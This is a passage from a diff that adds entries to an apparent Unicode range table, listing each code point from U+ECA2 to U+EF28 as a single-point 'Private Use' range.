+ [0xeca2, 0xeca2], /* Private Use */
+ [0xeca3, 0xeca3], /* Private Use */
+ [0xeca4, 0xeca4], /* Private Use */
+ [0xeca5, 0xeca5], /* Private Use */
+ [0xeca6, 0xeca6], /* Private Use */
+ [0xeca7, 0xeca7], /* Private Use */
+ [0xeca8, 0xeca8], /* Private Use */
+ [0xeca9, 0xeca9], /* Private Use */
+ [0xecaa, 0xecaa], /* Private Use */
+ [0xecab, 0xecab], /* Private Use */
+ [0xecac, 0xecac], /* Private Use */
+ [0xecad, 0xecad], /* Private Use */
+ [0xecae, 0xecae], /* Private Use */
+ [0xecaf, 0xecaf], /* Private Use */
+ [0xecb0, 0xecb0], /* Private Use */
+ [0xecb1, 0xecb1], /* Private Use */
+ [0xecb2, 0xecb2], /* Private Use */
+ [0xecb3, 0xecb3], /* Private Use */
+ [0xecb4, 0xecb4], /* Private Use */
+ [0xecb5, 0xecb5], /* Private Use */
+ [0xecb6, 0xecb6], /* Private Use */
+ [0xecb7, 0xecb7], /* Private Use */
+ [0xecb8, 0xecb8], /* Private Use */
+ [0xecb9, 0xecb9], /* Private Use */
+ [0xecba, 0xecba], /* Private Use */
+ [0xecbb, 0xecbb], /* Private Use */
+ [0xecbc, 0xecbc], /* Private Use */
+ [0xecbd, 0xecbd], /* Private Use */
+ [0xecbe, 0xecbe], /* Private Use */
+ [0xecbf, 0xecbf], /* Private Use */
+ [0xecc0, 0xecc0], /* Private Use */
+ [0xecc1, 0xecc1], /* Private Use */
+ [0xecc2, 0xecc2], /* Private Use */
+ [0xecc3, 0xecc3], /* Private Use */
+ [0xecc4, 0xecc4], /* Private Use */
+ [0xecc5, 0xecc5], /* Private Use */
+ [0xecc6, 0xecc6], /* Private Use */
+ [0xecc7, 0xecc7], /* Private Use */
+ [0xecc8, 0xecc8], /* Private Use */
+ [0xecc9, 0xecc9], /* Private Use */
+ [0xecca, 0xecca], /* Private Use */
+ [0xeccb, 0xeccb], /* Private Use */
+ [0xeccc, 0xeccc], /* Private Use */
+ [0xeccd, 0xeccd], /* Private Use */
+ [0xecce, 0xecce], /* Private Use */
+ [0xeccf, 0xeccf], /* Private Use */
+ [0xecd0, 0xecd0], /* Private Use */
+ [0xecd1, 0xecd1], /* Private Use */
+ [0xecd2, 0xecd2], /* Private Use */
+ [0xecd3, 0xecd3], /* Private Use */
+ [0xecd4, 0xecd4], /* Private Use */
+ [0xecd5, 0xecd5], /* Private Use */
+ [0xecd6, 0xecd6], /* Private Use */
+ [0xecd7, 0xecd7], /* Private Use */
+ [0xecd8, 0xecd8], /* Private Use */
+ [0xecd9, 0xecd9], /* Private Use */
+ [0xecda, 0xecda], /* Private Use */
+ [0xecdb, 0xecdb], /* Private Use */
+ [0xecdc, 0xecdc], /* Private Use */
+ [0xecdd, 0xecdd], /* Private Use */
+ [0xecde, 0xecde], /* Private Use */
+ [0xecdf, 0xecdf], /* Private Use */
+ [0xece0, 0xece0], /* Private Use */
+ [0xece1, 0xece1], /* Private Use */
+ [0xece2, 0xece2], /* Private Use */
+ [0xece3, 0xece3], /* Private Use */
+ [0xece4, 0xece4], /* Private Use */
+ [0xece5, 0xece5], /* Private Use */
+ [0xece6, 0xece6], /* Private Use */
+ [0xece7, 0xece7], /* Private Use */
+ [0xece8, 0xece8], /* Private Use */
+ [0xece9, 0xece9], /* Private Use */
+ [0xecea, 0xecea], /* Private Use */
+ [0xeceb, 0xeceb], /* Private Use */
+ [0xecec, 0xecec], /* Private Use */
+ [0xeced, 0xeced], /* Private Use */
+ [0xecee, 0xecee], /* Private Use */
+ [0xecef, 0xecef], /* Private Use */
+ [0xecf0, 0xecf0], /* Private Use */
+ [0xecf1, 0xecf1], /* Private Use */
+ [0xecf2, 0xecf2], /* Private Use */
+ [0xecf3, 0xecf3], /* Private Use */
+ [0xecf4, 0xecf4], /* Private Use */
+ [0xecf5, 0xecf5], /* Private Use */
+ [0xecf6, 0xecf6], /* Private Use */
+ [0xecf7, 0xecf7], /* Private Use */
+ [0xecf8, 0xecf8], /* Private Use */
+ [0xecf9, 0xecf9], /* Private Use */
+ [0xecfa, 0xecfa], /* Private Use */
+ [0xecfb, 0xecfb], /* Private Use */
+ [0xecfc, 0xecfc], /* Private Use */
+ [0xecfd, 0xecfd], /* Private Use */
+ [0xecfe, 0xecfe], /* Private Use */
+ [0xecff, 0xecff], /* Private Use */
+ [0xed00, 0xed00], /* Private Use */
+ [0xed01, 0xed01], /* Private Use */
+ [0xed02, 0xed02], /* Private Use */
+ [0xed03, 0xed03], /* Private Use */
+ [0xed04, 0xed04], /* Private Use */
+ [0xed05, 0xed05], /* Private Use */
+ [0xed06, 0xed06], /* Private Use */
+ [0xed07, 0xed07], /* Private Use */
+ [0xed08, 0xed08], /* Private Use */
+ [0xed09, 0xed09], /* Private Use */
+ [0xed0a, 0xed0a], /* Private Use */
+ [0xed0b, 0xed0b], /* Private Use */
+ [0xed0c, 0xed0c], /* Private Use */
+ [0xed0d, 0xed0d], /* Private Use */
+ [0xed0e, 0xed0e], /* Private Use */
+ [0xed0f, 0xed0f], /* Private Use */
+ [0xed10, 0xed10], /* Private Use */
+ [0xed11, 0xed11], /* Private Use */
+ [0xed12, 0xed12], /* Private Use */
+ [0xed13, 0xed13], /* Private Use */
+ [0xed14, 0xed14], /* Private Use */
+ [0xed15, 0xed15], /* Private Use */
+ [0xed16, 0xed16], /* Private Use */
+ [0xed17, 0xed17], /* Private Use */
+ [0xed18, 0xed18], /* Private Use */
+ [0xed19, 0xed19], /* Private Use */
+ [0xed1a, 0xed1a], /* Private Use */
+ [0xed1b, 0xed1b], /* Private Use */
+ [0xed1c, 0xed1c], /* Private Use */
+ [0xed1d, 0xed1d], /* Private Use */
+ [0xed1e, 0xed1e], /* Private Use */
+ [0xed1f, 0xed1f], /* Private Use */
+ [0xed20, 0xed20], /* Private Use */
+ [0xed21, 0xed21], /* Private Use */
+ [0xed22, 0xed22], /* Private Use */
+ [0xed23, 0xed23], /* Private Use */
+ [0xed24, 0xed24], /* Private Use */
+ [0xed25, 0xed25], /* Private Use */
+ [0xed26, 0xed26], /* Private Use */
+ [0xed27, 0xed27], /* Private Use */
+ [0xed28, 0xed28], /* Private Use */
+ [0xed29, 0xed29], /* Private Use */
+ [0xed2a, 0xed2a], /* Private Use */
+ [0xed2b, 0xed2b], /* Private Use */
+ [0xed2c, 0xed2c], /* Private Use */
+ [0xed2d, 0xed2d], /* Private Use */
+ [0xed2e, 0xed2e], /* Private Use */
+ [0xed2f, 0xed2f], /* Private Use */
+ [0xed30, 0xed30], /* Private Use */
+ [0xed31, 0xed31], /* Private Use */
+ [0xed32, 0xed32], /* Private Use */
+ [0xed33, 0xed33], /* Private Use */
+ [0xed34, 0xed34], /* Private Use */
+ [0xed35, 0xed35], /* Private Use */
+ [0xed36, 0xed36], /* Private Use */
+ [0xed37, 0xed37], /* Private Use */
+ [0xed38, 0xed38], /* Private Use */
+ [0xed39, 0xed39], /* Private Use */
+ [0xed3a, 0xed3a], /* Private Use */
+ [0xed3b, 0xed3b], /* Private Use */
+ [0xed3c, 0xed3c], /* Private Use */
+ [0xed3d, 0xed3d], /* Private Use */
+ [0xed3e, 0xed3e], /* Private Use */
+ [0xed3f, 0xed3f], /* Private Use */
+ [0xed40, 0xed40], /* Private Use */
+ [0xed41, 0xed41], /* Private Use */
+ [0xed42, 0xed42], /* Private Use */
+ [0xed43, 0xed43], /* Private Use */
+ [0xed44, 0xed44], /* Private Use */
+ [0xed45, 0xed45], /* Private Use */
+ [0xed46, 0xed46], /* Private Use */
+ [0xed47, 0xed47], /* Private Use */
+ [0xed48, 0xed48], /* Private Use */
+ [0xed49, 0xed49], /* Private Use */
+ [0xed4a, 0xed4a], /* Private Use */
+ [0xed4b, 0xed4b], /* Private Use */
+ [0xed4c, 0xed4c], /* Private Use */
+ [0xed4d, 0xed4d], /* Private Use */
+ [0xed4e, 0xed4e], /* Private Use */
+ [0xed4f, 0xed4f], /* Private Use */
+ [0xed50, 0xed50], /* Private Use */
+ [0xed51, 0xed51], /* Private Use */
+ [0xed52, 0xed52], /* Private Use */
+ [0xed53, 0xed53], /* Private Use */
+ [0xed54, 0xed54], /* Private Use */
+ [0xed55, 0xed55], /* Private Use */
+ [0xed56, 0xed56], /* Private Use */
+ [0xed57, 0xed57], /* Private Use */
+ [0xed58, 0xed58], /* Private Use */
+ [0xed59, 0xed59], /* Private Use */
+ [0xed5a, 0xed5a], /* Private Use */
+ [0xed5b, 0xed5b], /* Private Use */
+ [0xed5c, 0xed5c], /* Private Use */
+ [0xed5d, 0xed5d], /* Private Use */
+ [0xed5e, 0xed5e], /* Private Use */
+ [0xed5f, 0xed5f], /* Private Use */
+ [0xed60, 0xed60], /* Private Use */
+ [0xed61, 0xed61], /* Private Use */
+ [0xed62, 0xed62], /* Private Use */
+ [0xed63, 0xed63], /* Private Use */
+ [0xed64, 0xed64], /* Private Use */
+ [0xed65, 0xed65], /* Private Use */
+ [0xed66, 0xed66], /* Private Use */
+ [0xed67, 0xed67], /* Private Use */
+ [0xed68, 0xed68], /* Private Use */
+ [0xed69, 0xed69], /* Private Use */
+ [0xed6a, 0xed6a], /* Private Use */
+ [0xed6b, 0xed6b], /* Private Use */
+ [0xed6c, 0xed6c], /* Private Use */
+ [0xed6d, 0xed6d], /* Private Use */
+ [0xed6e, 0xed6e], /* Private Use */
+ [0xed6f, 0xed6f], /* Private Use */
+ [0xed70, 0xed70], /* Private Use */
+ [0xed71, 0xed71], /* Private Use */
+ [0xed72, 0xed72], /* Private Use */
+ [0xed73, 0xed73], /* Private Use */
+ [0xed74, 0xed74], /* Private Use */
+ [0xed75, 0xed75], /* Private Use */
+ [0xed76, 0xed76], /* Private Use */
+ [0xed77, 0xed77], /* Private Use */
+ [0xed78, 0xed78], /* Private Use */
+ [0xed79, 0xed79], /* Private Use */
+ [0xed7a, 0xed7a], /* Private Use */
+ [0xed7b, 0xed7b], /* Private Use */
+ [0xed7c, 0xed7c], /* Private Use */
+ [0xed7d, 0xed7d], /* Private Use */
+ [0xed7e, 0xed7e], /* Private Use */
+ [0xed7f, 0xed7f], /* Private Use */
+ [0xed80, 0xed80], /* Private Use */
+ [0xed81, 0xed81], /* Private Use */
+ [0xed82, 0xed82], /* Private Use */
+ [0xed83, 0xed83], /* Private Use */
+ [0xed84, 0xed84], /* Private Use */
+ [0xed85, 0xed85], /* Private Use */
+ [0xed86, 0xed86], /* Private Use */
+ [0xed87, 0xed87], /* Private Use */
+ [0xed88, 0xed88], /* Private Use */
+ [0xed89, 0xed89], /* Private Use */
+ [0xed8a, 0xed8a], /* Private Use */
+ [0xed8b, 0xed8b], /* Private Use */
+ [0xed8c, 0xed8c], /* Private Use */
+ [0xed8d, 0xed8d], /* Private Use */
+ [0xed8e, 0xed8e], /* Private Use */
+ [0xed8f, 0xed8f], /* Private Use */
+ [0xed90, 0xed90], /* Private Use */
+ [0xed91, 0xed91], /* Private Use */
+ [0xed92, 0xed92], /* Private Use */
+ [0xed93, 0xed93], /* Private Use */
+ [0xed94, 0xed94], /* Private Use */
+ [0xed95, 0xed95], /* Private Use */
+ [0xed96, 0xed96], /* Private Use */
+ [0xed97, 0xed97], /* Private Use */
+ [0xed98, 0xed98], /* Private Use */
+ [0xed99, 0xed99], /* Private Use */
+ [0xed9a, 0xed9a], /* Private Use */
+ [0xed9b, 0xed9b], /* Private Use */
+ [0xed9c, 0xed9c], /* Private Use */
+ [0xed9d, 0xed9d], /* Private Use */
+ [0xed9e, 0xed9e], /* Private Use */
+ [0xed9f, 0xed9f], /* Private Use */
+ [0xeda0, 0xeda0], /* Private Use */
+ [0xeda1, 0xeda1], /* Private Use */
+ [0xeda2, 0xeda2], /* Private Use */
+ [0xeda3, 0xeda3], /* Private Use */
+ [0xeda4, 0xeda4], /* Private Use */
+ [0xeda5, 0xeda5], /* Private Use */
+ [0xeda6, 0xeda6], /* Private Use */
+ [0xeda7, 0xeda7], /* Private Use */
+ [0xeda8, 0xeda8], /* Private Use */
+ [0xeda9, 0xeda9], /* Private Use */
+ [0xedaa, 0xedaa], /* Private Use */
+ [0xedab, 0xedab], /* Private Use */
+ [0xedac, 0xedac], /* Private Use */
+ [0xedad, 0xedad], /* Private Use */
+ [0xedae, 0xedae], /* Private Use */
+ [0xedaf, 0xedaf], /* Private Use */
+ [0xedb0, 0xedb0], /* Private Use */
+ [0xedb1, 0xedb1], /* Private Use */
+ [0xedb2, 0xedb2], /* Private Use */
+ [0xedb3, 0xedb3], /* Private Use */
+ [0xedb4, 0xedb4], /* Private Use */
+ [0xedb5, 0xedb5], /* Private Use */
+ [0xedb6, 0xedb6], /* Private Use */
+ [0xedb7, 0xedb7], /* Private Use */
+ [0xedb8, 0xedb8], /* Private Use */
+ [0xedb9, 0xedb9], /* Private Use */
+ [0xedba, 0xedba], /* Private Use */
+ [0xedbb, 0xedbb], /* Private Use */
+ [0xedbc, 0xedbc], /* Private Use */
+ [0xedbd, 0xedbd], /* Private Use */
+ [0xedbe, 0xedbe], /* Private Use */
+ [0xedbf, 0xedbf], /* Private Use */
+ [0xedc0, 0xedc0], /* Private Use */
+ [0xedc1, 0xedc1], /* Private Use */
+ [0xedc2, 0xedc2], /* Private Use */
+ [0xedc3, 0xedc3], /* Private Use */
+ [0xedc4, 0xedc4], /* Private Use */
+ [0xedc5, 0xedc5], /* Private Use */
+ [0xedc6, 0xedc6], /* Private Use */
+ [0xedc7, 0xedc7], /* Private Use */
+ [0xedc8, 0xedc8], /* Private Use */
+ [0xedc9, 0xedc9], /* Private Use */
+ [0xedca, 0xedca], /* Private Use */
+ [0xedcb, 0xedcb], /* Private Use */
+ [0xedcc, 0xedcc], /* Private Use */
+ [0xedcd, 0xedcd], /* Private Use */
+ [0xedce, 0xedce], /* Private Use */
+ [0xedcf, 0xedcf], /* Private Use */
+ [0xedd0, 0xedd0], /* Private Use */
+ [0xedd1, 0xedd1], /* Private Use */
+ [0xedd2, 0xedd2], /* Private Use */
+ [0xedd3, 0xedd3], /* Private Use */
+ [0xedd4, 0xedd4], /* Private Use */
+ [0xedd5, 0xedd5], /* Private Use */
+ [0xedd6, 0xedd6], /* Private Use */
+ [0xedd7, 0xedd7], /* Private Use */
+ [0xedd8, 0xedd8], /* Private Use */
+ [0xedd9, 0xedd9], /* Private Use */
+ [0xedda, 0xedda], /* Private Use */
+ [0xeddb, 0xeddb], /* Private Use */
+ [0xeddc, 0xeddc], /* Private Use */
+ [0xeddd, 0xeddd], /* Private Use */
+ [0xedde, 0xedde], /* Private Use */
+ [0xeddf, 0xeddf], /* Private Use */
+ [0xede0, 0xede0], /* Private Use */
+ [0xede1, 0xede1], /* Private Use */
+ [0xede2, 0xede2], /* Private Use */
+ [0xede3, 0xede3], /* Private Use */
+ [0xede4, 0xede4], /* Private Use */
+ [0xede5, 0xede5], /* Private Use */
+ [0xede6, 0xede6], /* Private Use */
+ [0xede7, 0xede7], /* Private Use */
+ [0xede8, 0xede8], /* Private Use */
+ [0xede9, 0xede9], /* Private Use */
+ [0xedea, 0xedea], /* Private Use */
+ [0xedeb, 0xedeb], /* Private Use */
+ [0xedec, 0xedec], /* Private Use */
+ [0xeded, 0xeded], /* Private Use */
+ [0xedee, 0xedee], /* Private Use */
+ [0xedef, 0xedef], /* Private Use */
+ [0xedf0, 0xedf0], /* Private Use */
+ [0xedf1, 0xedf1], /* Private Use */
+ [0xedf2, 0xedf2], /* Private Use */
+ [0xedf3, 0xedf3], /* Private Use */
+ [0xedf4, 0xedf4], /* Private Use */
+ [0xedf5, 0xedf5], /* Private Use */
+ [0xedf6, 0xedf6], /* Private Use */
+ [0xedf7, 0xedf7], /* Private Use */
+ [0xedf8, 0xedf8], /* Private Use */
+ [0xedf9, 0xedf9], /* Private Use */
+ [0xedfa, 0xedfa], /* Private Use */
+ [0xedfb, 0xedfb], /* Private Use */
+ [0xedfc, 0xedfc], /* Private Use */
+ [0xedfd, 0xedfd], /* Private Use */
+ [0xedfe, 0xedfe], /* Private Use */
+ [0xedff, 0xedff], /* Private Use */
+ [0xee00, 0xee00], /* Private Use */
+ [0xee01, 0xee01], /* Private Use */
+ [0xee02, 0xee02], /* Private Use */
+ [0xee03, 0xee03], /* Private Use */
+ [0xee04, 0xee04], /* Private Use */
+ [0xee05, 0xee05], /* Private Use */
+ [0xee06, 0xee06], /* Private Use */
+ [0xee07, 0xee07], /* Private Use */
+ [0xee08, 0xee08], /* Private Use */
+ [0xee09, 0xee09], /* Private Use */
+ [0xee0a, 0xee0a], /* Private Use */
+ [0xee0b, 0xee0b], /* Private Use */
+ [0xee0c, 0xee0c], /* Private Use */
+ [0xee0d, 0xee0d], /* Private Use */
+ [0xee0e, 0xee0e], /* Private Use */
+ [0xee0f, 0xee0f], /* Private Use */
+ [0xee10, 0xee10], /* Private Use */
+ [0xee11, 0xee11], /* Private Use */
+ [0xee12, 0xee12], /* Private Use */
+ [0xee13, 0xee13], /* Private Use */
+ [0xee14, 0xee14], /* Private Use */
+ [0xee15, 0xee15], /* Private Use */
+ [0xee16, 0xee16], /* Private Use */
+ [0xee17, 0xee17], /* Private Use */
+ [0xee18, 0xee18], /* Private Use */
+ [0xee19, 0xee19], /* Private Use */
+ [0xee1a, 0xee1a], /* Private Use */
+ [0xee1b, 0xee1b], /* Private Use */
+ [0xee1c, 0xee1c], /* Private Use */
+ [0xee1d, 0xee1d], /* Private Use */
+ [0xee1e, 0xee1e], /* Private Use */
+ [0xee1f, 0xee1f], /* Private Use */
+ [0xee20, 0xee20], /* Private Use */
+ [0xee21, 0xee21], /* Private Use */
+ [0xee22, 0xee22], /* Private Use */
+ [0xee23, 0xee23], /* Private Use */
+ [0xee24, 0xee24], /* Private Use */
+ [0xee25, 0xee25], /* Private Use */
+ [0xee26, 0xee26], /* Private Use */
+ [0xee27, 0xee27], /* Private Use */
+ [0xee28, 0xee28], /* Private Use */
+ [0xee29, 0xee29], /* Private Use */
+ [0xee2a, 0xee2a], /* Private Use */
+ [0xee2b, 0xee2b], /* Private Use */
+ [0xee2c, 0xee2c], /* Private Use */
+ [0xee2d, 0xee2d], /* Private Use */
+ [0xee2e, 0xee2e], /* Private Use */
+ [0xee2f, 0xee2f], /* Private Use */
+ [0xee30, 0xee30], /* Private Use */
+ [0xee31, 0xee31], /* Private Use */
+ [0xee32, 0xee32], /* Private Use */
+ [0xee33, 0xee33], /* Private Use */
+ [0xee34, 0xee34], /* Private Use */
+ [0xee35, 0xee35], /* Private Use */
+ [0xee36, 0xee36], /* Private Use */
+ [0xee37, 0xee37], /* Private Use */
+ [0xee38, 0xee38], /* Private Use */
+ [0xee39, 0xee39], /* Private Use */
+ [0xee3a, 0xee3a], /* Private Use */
+ [0xee3b, 0xee3b], /* Private Use */
+ [0xee3c, 0xee3c], /* Private Use */
+ [0xee3d, 0xee3d], /* Private Use */
+ [0xee3e, 0xee3e], /* Private Use */
+ [0xee3f, 0xee3f], /* Private Use */
+ [0xee40, 0xee40], /* Private Use */
+ [0xee41, 0xee41], /* Private Use */
+ [0xee42, 0xee42], /* Private Use */
+ [0xee43, 0xee43], /* Private Use */
+ [0xee44, 0xee44], /* Private Use */
+ [0xee45, 0xee45], /* Private Use */
+ [0xee46, 0xee46], /* Private Use */
+ [0xee47, 0xee47], /* Private Use */
+ [0xee48, 0xee48], /* Private Use */
+ [0xee49, 0xee49], /* Private Use */
+ [0xee4a, 0xee4a], /* Private Use */
+ [0xee4b, 0xee4b], /* Private Use */
+ [0xee4c, 0xee4c], /* Private Use */
+ [0xee4d, 0xee4d], /* Private Use */
+ [0xee4e, 0xee4e], /* Private Use */
+ [0xee4f, 0xee4f], /* Private Use */
+ [0xee50, 0xee50], /* Private Use */
+ [0xee51, 0xee51], /* Private Use */
+ [0xee52, 0xee52], /* Private Use */
+ [0xee53, 0xee53], /* Private Use */
+ [0xee54, 0xee54], /* Private Use */
+ [0xee55, 0xee55], /* Private Use */
+ [0xee56, 0xee56], /* Private Use */
+ [0xee57, 0xee57], /* Private Use */
+ [0xee58, 0xee58], /* Private Use */
+ [0xee59, 0xee59], /* Private Use */
+ [0xee5a, 0xee5a], /* Private Use */
+ [0xee5b, 0xee5b], /* Private Use */
+ [0xee5c, 0xee5c], /* Private Use */
+ [0xee5d, 0xee5d], /* Private Use */
+ [0xee5e, 0xee5e], /* Private Use */
+ [0xee5f, 0xee5f], /* Private Use */
+ [0xee60, 0xee60], /* Private Use */
+ [0xee61, 0xee61], /* Private Use */
+ [0xee62, 0xee62], /* Private Use */
+ [0xee63, 0xee63], /* Private Use */
+ [0xee64, 0xee64], /* Private Use */
+ [0xee65, 0xee65], /* Private Use */
+ [0xee66, 0xee66], /* Private Use */
+ [0xee67, 0xee67], /* Private Use */
+ [0xee68, 0xee68], /* Private Use */
+ [0xee69, 0xee69], /* Private Use */
+ [0xee6a, 0xee6a], /* Private Use */
+ [0xee6b, 0xee6b], /* Private Use */
+ [0xee6c, 0xee6c], /* Private Use */
+ [0xee6d, 0xee6d], /* Private Use */
+ [0xee6e, 0xee6e], /* Private Use */
+ [0xee6f, 0xee6f], /* Private Use */
+ [0xee70, 0xee70], /* Private Use */
+ [0xee71, 0xee71], /* Private Use */
+ [0xee72, 0xee72], /* Private Use */
+ [0xee73, 0xee73], /* Private Use */
+ [0xee74, 0xee74], /* Private Use */
+ [0xee75, 0xee75], /* Private Use */
+ [0xee76, 0xee76], /* Private Use */
+ [0xee77, 0xee77], /* Private Use */
+ [0xee78, 0xee78], /* Private Use */
+ [0xee79, 0xee79], /* Private Use */
+ [0xee7a, 0xee7a], /* Private Use */
+ [0xee7b, 0xee7b], /* Private Use */
+ [0xee7c, 0xee7c], /* Private Use */
+ [0xee7d, 0xee7d], /* Private Use */
+ [0xee7e, 0xee7e], /* Private Use */
+ [0xee7f, 0xee7f], /* Private Use */
+ [0xee80, 0xee80], /* Private Use */
+ [0xee81, 0xee81], /* Private Use */
+ [0xee82, 0xee82], /* Private Use */
+ [0xee83, 0xee83], /* Private Use */
+ [0xee84, 0xee84], /* Private Use */
+ [0xee85, 0xee85], /* Private Use */
+ [0xee86, 0xee86], /* Private Use */
+ [0xee87, 0xee87], /* Private Use */
+ [0xee88, 0xee88], /* Private Use */
+ [0xee89, 0xee89], /* Private Use */
+ [0xee8a, 0xee8a], /* Private Use */
+ [0xee8b, 0xee8b], /* Private Use */
+ [0xee8c, 0xee8c], /* Private Use */
+ [0xee8d, 0xee8d], /* Private Use */
+ [0xee8e, 0xee8e], /* Private Use */
+ [0xee8f, 0xee8f], /* Private Use */
+ [0xee90, 0xee90], /* Private Use */
+ [0xee91, 0xee91], /* Private Use */
+ [0xee92, 0xee92], /* Private Use */
+ [0xee93, 0xee93], /* Private Use */
+ [0xee94, 0xee94], /* Private Use */
+ [0xee95, 0xee95], /* Private Use */
+ [0xee96, 0xee96], /* Private Use */
+ [0xee97, 0xee97], /* Private Use */
+ [0xee98, 0xee98], /* Private Use */
+ [0xee99, 0xee99], /* Private Use */
+ [0xee9a, 0xee9a], /* Private Use */
+ [0xee9b, 0xee9b], /* Private Use */
+ [0xee9c, 0xee9c], /* Private Use */
+ [0xee9d, 0xee9d], /* Private Use */
+ [0xee9e, 0xee9e], /* Private Use */
+ [0xee9f, 0xee9f], /* Private Use */
+ [0xeea0, 0xeea0], /* Private Use */
+ [0xeea1, 0xeea1], /* Private Use */
+ [0xeea2, 0xeea2], /* Private Use */
+ [0xeea3, 0xeea3], /* Private Use */
+ [0xeea4, 0xeea4], /* Private Use */
+ [0xeea5, 0xeea5], /* Private Use */
+ [0xeea6, 0xeea6], /* Private Use */
+ [0xeea7, 0xeea7], /* Private Use */
+ [0xeea8, 0xeea8], /* Private Use */
+ [0xeea9, 0xeea9], /* Private Use */
+ [0xeeaa, 0xeeaa], /* Private Use */
+ [0xeeab, 0xeeab], /* Private Use */
+ [0xeeac, 0xeeac], /* Private Use */
+ [0xeead, 0xeead], /* Private Use */
+ [0xeeae, 0xeeae], /* Private Use */
+ [0xeeaf, 0xeeaf], /* Private Use */
+ [0xeeb0, 0xeeb0], /* Private Use */
+ [0xeeb1, 0xeeb1], /* Private Use */
+ [0xeeb2, 0xeeb2], /* Private Use */
+ [0xeeb3, 0xeeb3], /* Private Use */
+ [0xeeb4, 0xeeb4], /* Private Use */
+ [0xeeb5, 0xeeb5], /* Private Use */
+ [0xeeb6, 0xeeb6], /* Private Use */
+ [0xeeb7, 0xeeb7], /* Private Use */
+ [0xeeb8, 0xeeb8], /* Private Use */
+ [0xeeb9, 0xeeb9], /* Private Use */
+ [0xeeba, 0xeeba], /* Private Use */
+ [0xeebb, 0xeebb], /* Private Use */
+ [0xeebc, 0xeebc], /* Private Use */
+ [0xeebd, 0xeebd], /* Private Use */
+ [0xeebe, 0xeebe], /* Private Use */
+ [0xeebf, 0xeebf], /* Private Use */
+ [0xeec0, 0xeec0], /* Private Use */
+ [0xeec1, 0xeec1], /* Private Use */
+ [0xeec2, 0xeec2], /* Private Use */
+ [0xeec3, 0xeec3], /* Private Use */
+ [0xeec4, 0xeec4], /* Private Use */
+ [0xeec5, 0xeec5], /* Private Use */
+ [0xeec6, 0xeec6], /* Private Use */
+ [0xeec7, 0xeec7], /* Private Use */
+ [0xeec8, 0xeec8], /* Private Use */
+ [0xeec9, 0xeec9], /* Private Use */
+ [0xeeca, 0xeeca], /* Private Use */
+ [0xeecb, 0xeecb], /* Private Use */
+ [0xeecc, 0xeecc], /* Private Use */
+ [0xeecd, 0xeecd], /* Private Use */
+ [0xeece, 0xeece], /* Private Use */
+ [0xeecf, 0xeecf], /* Private Use */
+ [0xeed0, 0xeed0], /* Private Use */
+ [0xeed1, 0xeed1], /* Private Use */
+ [0xeed2, 0xeed2], /* Private Use */
+ [0xeed3, 0xeed3], /* Private Use */
+ [0xeed4, 0xeed4], /* Private Use */
+ [0xeed5, 0xeed5], /* Private Use */
+ [0xeed6, 0xeed6], /* Private Use */
+ [0xeed7, 0xeed7], /* Private Use */
+ [0xeed8, 0xeed8], /* Private Use */
+ [0xeed9, 0xeed9], /* Private Use */
+ [0xeeda, 0xeeda], /* Private Use */
+ [0xeedb, 0xeedb], /* Private Use */
+ [0xeedc, 0xeedc], /* Private Use */
+ [0xeedd, 0xeedd], /* Private Use */
+ [0xeede, 0xeede], /* Private Use */
+ [0xeedf, 0xeedf], /* Private Use */
+ [0xeee0, 0xeee0], /* Private Use */
+ [0xeee1, 0xeee1], /* Private Use */
+ [0xeee2, 0xeee2], /* Private Use */
+ [0xeee3, 0xeee3], /* Private Use */
+ [0xeee4, 0xeee4], /* Private Use */
+ [0xeee5, 0xeee5], /* Private Use */
+ [0xeee6, 0xeee6], /* Private Use */
+ [0xeee7, 0xeee7], /* Private Use */
+ [0xeee8, 0xeee8], /* Private Use */
+ [0xeee9, 0xeee9], /* Private Use */
+ [0xeeea, 0xeeea], /* Private Use */
+ [0xeeeb, 0xeeeb], /* Private Use */
+ [0xeeec, 0xeeec], /* Private Use */
+ [0xeeed, 0xeeed], /* Private Use */
+ [0xeeee, 0xeeee], /* Private Use */
+ [0xeeef, 0xeeef], /* Private Use */
+ [0xeef0, 0xeef0], /* Private Use */
+ [0xeef1, 0xeef1], /* Private Use */
+ [0xeef2, 0xeef2], /* Private Use */
+ [0xeef3, 0xeef3], /* Private Use */
+ [0xeef4, 0xeef4], /* Private Use */
+ [0xeef5, 0xeef5], /* Private Use */
+ [0xeef6, 0xeef6], /* Private Use */
+ [0xeef7, 0xeef7], /* Private Use */
+ [0xeef8, 0xeef8], /* Private Use */
+ [0xeef9, 0xeef9], /* Private Use */
+ [0xeefa, 0xeefa], /* Private Use */
+ [0xeefb, 0xeefb], /* Private Use */
+ [0xeefc, 0xeefc], /* Private Use */
+ [0xeefd, 0xeefd], /* Private Use */
+ [0xeefe, 0xeefe], /* Private Use */
+ [0xeeff, 0xeeff], /* Private Use */
+ [0xef00, 0xef00], /* Private Use */
+ [0xef01, 0xef01], /* Private Use */
+ [0xef02, 0xef02], /* Private Use */
+ [0xef03, 0xef03], /* Private Use */
+ [0xef04, 0xef04], /* Private Use */
+ [0xef05, 0xef05], /* Private Use */
+ [0xef06, 0xef06], /* Private Use */
+ [0xef07, 0xef07], /* Private Use */
+ [0xef08, 0xef08], /* Private Use */
+ [0xef09, 0xef09], /* Private Use */
+ [0xef0a, 0xef0a], /* Private Use */
+ [0xef0b, 0xef0b], /* Private Use */
+ [0xef0c, 0xef0c], /* Private Use */
+ [0xef0d, 0xef0d], /* Private Use */
+ [0xef0e, 0xef0e], /* Private Use */
+ [0xef0f, 0xef0f], /* Private Use */
+ [0xef10, 0xef10], /* Private Use */
+ [0xef11, 0xef11], /* Private Use */
+ [0xef12, 0xef12], /* Private Use */
+ [0xef13, 0xef13], /* Private Use */
+ [0xef14, 0xef14], /* Private Use */
+ [0xef15, 0xef15], /* Private Use */
+ [0xef16, 0xef16], /* Private Use */
+ [0xef17, 0xef17], /* Private Use */
+ [0xef18, 0xef18], /* Private Use */
+ [0xef19, 0xef19], /* Private Use */
+ [0xef1a, 0xef1a], /* Private Use */
+ [0xef1b, 0xef1b], /* Private Use */
+ [0xef1c, 0xef1c], /* Private Use */
+ [0xef1d, 0xef1d], /* Private Use */
+ [0xef1e, 0xef1e], /* Private Use */
+ [0xef1f, 0xef1f], /* Private Use */
+ [0xef20, 0xef20], /* Private Use */
+ [0xef21, 0xef21], /* Private Use */
+ [0xef22, 0xef22], /* Private Use */
+ [0xef23, 0xef23], /* Private Use */
+ [0xef24, 0xef24], /* Private Use */
+ [0xef25, 0xef25], /* Private Use */
+ [0xef26, 0xef26], /* Private Use */
+ [0xef27, 0xef27], /* Private Use */
+ [0xef28, 0xef28], /* Private Use */
